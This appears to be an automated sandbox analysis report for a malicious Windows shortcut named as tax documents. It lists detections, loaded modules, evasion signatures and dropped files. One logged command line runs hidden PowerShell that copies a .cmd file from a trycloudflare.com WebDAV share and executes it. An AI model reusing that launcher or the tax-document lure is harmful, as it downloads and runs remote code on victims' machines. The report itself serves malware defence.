C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3ffpg2o.qq2.psm1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkqrkhp1.pc1.ps1	ASCII text, with no line terminators	D17FE0A3F47BE24A6453E9EF58C94641	6AB83620379FC69F80C0242105DDFFD7D98D5D9D	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UF8KRGFCLU4T1S69RS2P.temp	data	5670CDEDE27CCEF5561E8BF3851BE6EE	E56820FF8203BD5393768FFD1B12397E265DDD4A	7E133EA46C0528BE313860EA6F3EA966459EAA0CC4E131FB53BEE2871C605096
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms (copy)	data	5670CDEDE27CCEF5561E8BF3851BE6EE	E56820FF8203BD5393768FFD1B12397E265DDD4A	7E133EA46C0528BE313860EA6F3EA966459EAA0CC4E131FB53BEE2871C605096

AV Detection

Multi AV Scanner detection for submitted file

Source: tax-docs-2023.download.lnk	ReversingLabs: Detection: 34%
Source: tax-docs-2023.download.lnk	Virustotal: Detection: 24%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.9% probability

Machine Learning detection for sample

Source: tax-docs-2023.download.lnk

Joe Sandbox ML: detected

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbh source: powershell.exe, 00000005.00000002.1342882938.0000021E5F848000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbQ source: powershell.exe, 00000005.00000002.1342882938.0000021E5F8E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdbpdblib.pdb source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA8A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbI source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb B source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp

Source: powershell.exe, 00000005.00000002.1340065942.0000021E577A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E49102000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48FB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1320084365.0000021E47731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48FB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1320084365.0000021E47731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48FB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1340065942.0000021E577A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1320084365.0000021E49102000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1340065942.0000021E578E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000005.00000002.1320084365.0000021E48F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: classification engine

Classification label: mal68.winLNK@2/5@0/0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkqrkhp1.pc1.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: tax-docs-2023.download.lnk	ReversingLabs: Detection: 34%
Source: tax-docs-2023.download.lnk	Virustotal: Detection: 24%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c "Copy-Item '\\mixer-brake-tan-cleaner.trycloudflare.com@SSL\DavWWWRoot\bas.cmd' \"$env:USERPROFILE\Downloads\"; Start-Process \"$env:USERPROFILE\Downloads\bas.cmd\" -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior

Source: tax-docs-2023.download.lnk

LNK file: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbh source: powershell.exe, 00000005.00000002.1342882938.0000021E5F848000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbQ source: powershell.exe, 00000005.00000002.1342882938.0000021E5F8E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdbpdblib.pdb source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA8A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbI source: powershell.exe, 00000005.00000002.1342882938.0000021E5F800000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb B source: powershell.exe, 00000005.00000002.1343941081.0000021E5FA4B000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_00007FFE7DF200BD pushad ; iretd

5_2_00007FFE7DF200C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4363			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4790			Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep time: -4611686018427385s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1380	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Enables debug privileges

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: unknown

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

ID:	1542733
Product:	CloudBasic
Start time:	08:50:45
Start date:	26.10.2024
Sample:	tax-docs-2023.download.lnk
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	ef01bbe1be58aa8563d24f49fce5ffed
SHA1:	7a5ae5e1bf74dc9d1ae400d5a8196c42964cd27b
SHA256:	d1f8936cae6da74dd8e0a4079ff6a4f737c35892b4b7f9c9fca2119c6d1e531d
Filetype:	Windows Shortcut (20020/1) 100.00%

Windows Analysis Report
tax-docs-2023.download.lnk

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Screenshots

Behavior Graph

Network Map

Windows Analysis Report tax-docs-2023.download.lnk

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

